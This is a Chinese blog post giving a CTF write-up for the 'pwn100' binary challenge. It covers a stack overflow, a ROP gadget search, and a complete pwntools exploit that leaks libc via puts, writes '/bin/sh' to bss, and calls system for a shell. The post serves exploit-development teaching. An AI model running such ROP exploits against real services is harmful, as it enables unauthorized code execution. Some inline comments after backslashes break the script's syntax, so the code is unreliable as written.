攻防世界 - pwn100 - WriteUp

原创

哒君 于 2019-06-11 22:11:21 发布 3791 收藏 4

分类专栏： 学习日记 CTF 文章标签： pwn ROP 栈溢出

本文链接：https://blog.csdn.net/weixin_42151611/article/details/91474574

pwn100

> 文件链接 -> Github

checksec

```
root@kali:~/Public# checksec pwn100
[*] '/root/Public/pwn100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

寻找漏洞

```
int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 0xC8);
  return puts("bye~");
}
```

`sub_40063D` 函数中获取输入存放到 `v1` ，存在栈溢出漏洞

攻击思路

该程序中没用system函数，也没有binsh字符串，而且参数是经过寄存器传递的，所以要通过ROP来达成泄露 `libc` ，写入 `/bin/sh` 的操作

```
root@kali:~/Public# ROPgadget --binary pwn100 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400760 : pop r14 ; pop r15 ; ret
0x0000000000400762 : pop r15 ; ret
0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

Unique gadgets found: 12
```



```
.text:000000000040063D
.text:000000000040063D ; __unwind {
.text:000000000040063D                 push    rbp
.text:000000000040063E                 mov     rbp, rsp
.text:0000000000400641                 sub     rsp, 20h
.text:0000000000400645                 mov     [rbp+var_18], rdi
.text:0000000000400649                 mov     [rbp+var_1C], esi
.text:000000000040064C                 mov     eax, edx
.text:000000000040064E                 mov     [rbp+var_20], al
.text:0000000000400651                 mov     [rbp+var_4], 0
.text:0000000000400658                 mov     [rbp+var_4], 0
.text:000000000040065F                 jmp     short loc_400684
.text:0000000000400661 ; ---------------------------------------------------------------------------
.text:0000000000400661
.text:0000000000400661 loc_400661:                             ; CODE XREF: sub_40063D+4D↓j
.text:0000000000400661                 mov     eax, [rbp+var_4]
.text:0000000000400664                 movsxd  rdx, eax
.text:0000000000400667                 mov     rax, [rbp+var_18]
.text:000000000040066B                 add     rax, rdx
.text:000000000040066E                 mov     edx, 1          ; nbytes
.text:0000000000400673                 mov     rsi, rax        ; buf
.text:0000000000400676                 mov     edi, 0          ; fd
.text:000000000040067B                 call    _read
.text:0000000000400680                 add     [rbp+var_4], 1
.text:0000000000400684
.text:0000000000400684 loc_400684:                             ; CODE XREF: sub_40063D+22↑j
.text:0000000000400684                 mov     eax, [rbp+var_4]
.text:0000000000400687                 cmp     eax, [rbp+var_1C]
.text:000000000040068A                 jl      short loc_400661
.text:000000000040068C                 leave
.text:000000000040068D                 retn
```


寄存器 `rdi` 中存放的是写入的地址， `rsi` 是写入的字节数，所以可以通过

`pop rdi; ret`

`pop rsi; pop r15; ret`

来控制写入

exp

```python
#coding:utf-8
from pwn import *
from LibcSearcher import *

if len(sys.argv) == 3:
 io = remote(sys.argv[1],int(sys.argv[2]))
elif len(sys.argv) == 2:
 io = process(sys.argv[1])

readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040

pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761

def stageone():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) \ #pop_rdi后紧接read_got，就把read_got传入了rdi，作为参数
 +p64(put_plt)+p64(pop_rdi)+p64(bss) \ #上一行执行ret的时候就跳转到puts_plt，执行到现在就类似于执行了一个puts(read_got)
 +p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start) #这一行也类似，上一行把bss的地址pop入rdi，然后把7pop入rsi，然后执行readn，就类似于执行了readn(bss，7)
    payload += "A"*(max_length-len(payload)) #这里就是填充
    io.send(payload)
    sleep(1)
    io.send("/bin/sh")  #payload送出去以后，会先puts，然后执行readn(bss,7)，所以就要再送入/bin/sh字符串
    print io.recvuntil("bye~")
    return u64(io.recv()[1:-1].ljust(8,'\0'))

read_addr = stageone()
print "read address: ", hex(read_addr)

libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
print "system address: ",hex(system_addr)

def stagetwo():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(bss) \ #将bss的地址即/bin/sh字符串的地址传给rdi作为第一个参数，然后直接执行system，就相当于执行了system("/bin/sh")，然后getshell
 +p64(system_addr)+p64(start)
    payload += "A"*(max_length-len(payload))
    io.send(payload)

stagetwo()
io.interactive()
```